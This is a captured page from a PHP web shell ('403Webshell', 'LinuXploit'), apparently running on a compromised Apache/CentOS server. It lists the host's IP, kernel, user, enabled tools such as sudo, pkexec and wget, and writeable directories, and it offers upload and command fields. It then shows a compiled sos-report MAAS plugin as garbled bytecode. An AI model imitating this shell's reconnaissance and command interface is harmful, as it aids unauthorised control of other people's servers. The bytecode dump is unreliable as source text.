403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/maas.cpython-39.opt-1.pyc
a

ܓ�ib�@s.ddlZddlmZmZGdd�dee�ZdS)�N)�Plugin�UbuntuPluginc@sLeZdZdZdZdZdZdZdZdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dS)�MAASzMAAS | Metal as a Service�maasi)Zsysmgmt)rzmaas-region-apizmaas-region-controllerzmaas-rack-controller�
maas-agent)
rzmaas-apiserverz
maas-dhcpdzmaas-dhcpd6z	maas-httpz
maas-proxyz
maas-rackdzmaas-regiondzmaas-syslogz
maas-temporalzmaas-temporal-workerzsnap.maas.supervisorzsnap.maas.pebblecs���|�sgSg}��|�D]�}��||������s8q��fdd�����D�}|sXqt|dd�dd�}��d�}��d��|s��s�|�|d	�q�r����nd	�|��fd
d�|D��q|S)Ncs"g|]}����r���|��qS�)�
path_isdir�	path_join��.0�d)�	host_path�selfr�;/usr/lib/python3.9/site-packages/sos/report/plugins/maas.py�
<listcomp>=s
�z-MAAS._get_machines_syslog.<locals>.<listcomp>cSst�|�jS)N��os�stat�st_mtime)rrrr�<lambda>G�z+MAAS._get_machines_syslog.<locals>.<lambda>T)�key�reverse�all_logs�sincercs g|]}t�|�j�kr|�qSrrr
�rrrrRr)	Zpath_exists�listdirr	r�sorted�
get_option�appendZ	timestamp�extend)rZ	directoryZrecentZhost_dir�subdirsZsorted_subdirsrr)r
rrr�_get_machines_syslog/s0

�
�

�zMAAS._get_machines_syslogcCsh|jddgdd�|�gd��|�gd��|�gd��|�d�rT|�d	d
g�|�|�d��dS)Nzsnap info maaszmaas statusT)Zsnap_cmd)z/stat /var/snap/maas/common/maas/image-storage/*z;stat /var/snap/maas/common/maas/image-storage/bootloaders/*z#stat /var/snap/maas/current/*.sock*z1stat /var/snap/maas/current/syslog/rsyslog/*.sockz(stat /var/snap/maas/common/proxy/cache/*z)du -sh /var/snap/maas/common/proxy/cache/z$du -sh /var/snap/maas/image-storage/)z/var/snap/maas/**/*.keyz/var/snap/maas/**/*.pemz/var/snap/maas/**/secret)z/var/snap/maas/common/snap_modez"/var/snap/maas/common/log/**/*.logz /var/snap/maas/current/**/*.confz /var/snap/maas/current/**/*.yamlz/var/snap/maas/current/bindz/var/snap/maas/current/preseedsz(/var/snap/maas/current/supervisord/*.logrz$/var/snap/maas/common/log/**/*.log.*z*/var/snap/maas/current/supervisord/*.log.*z!/var/snap/maas/common/log/rsyslog�Zadd_cmd_outputZadd_forbidden_pathZ
add_copy_specrr"�rrrr�
_snap_collectWs&��


���zMAAS._snap_collectcCsT|�gd��|�gd��|�gd��|�d�r@|�dg�|�|�d��dS)N)zapt-cache policy maas maas-*z"stat /var/lib/maas/image-storage/*z.stat /var/lib/maas/image-storage/bootloaders/*zstat /var/lib/maas/*.sock*z(stat /var/lib/maas/syslog/rsyslog/*.sockzstat /var/cache/maas/*zdu -sh /var/cache/maas/z#du -sh /var/lib/maas/image-storage/)z/var/lib/maas/**/*.keyz/var/lib/maas/**/*.pemz/var/lib/maas/**/secretz/etc/maas/**/*.keyz/etc/maas/**/*.pemz/etc/maas/**/secret)z/etc/maas/**/*.confz/etc/maas/**/*.yamlz/etc/maas/preseedsz/var/lib/maas/**/*.confz/var/lib/maas/dhcp/*.leasesz/var/lib/maas/temporalz/var/log/maas/**/*.logrz/var/log/maas/**/*.log.*z/var/log/maas/rsyslogr#r$rrr�_deb_collect�s	

���zMAAS._deb_collectcCsn|jD]J}|�|�r|�|�|�d�sF|�d�p4d}|j||d�q|�|�q|jrb|��n|��dS)Nrrz-1daysr)�	_servicesZ
is_serviceZadd_service_statusrZadd_journalZis_snapr%r&)rZservicerrrr�setup�s




z
MAAS.setupcCs|�ddd�dS)Nz(.*)\.(conf|yaml|yml|toml)$z1((?:.*secret|.*password|.*pass)(?::\s*|=\s*))(.*)z\1*****)Zdo_path_regex_subr$rrr�postproc�s
�z
MAAS.postprocN)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZplugin_timeoutZprofilesZpackagesr'r"r%r&r(r)rrrrrs(,*r)rZsos.report.pluginsrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit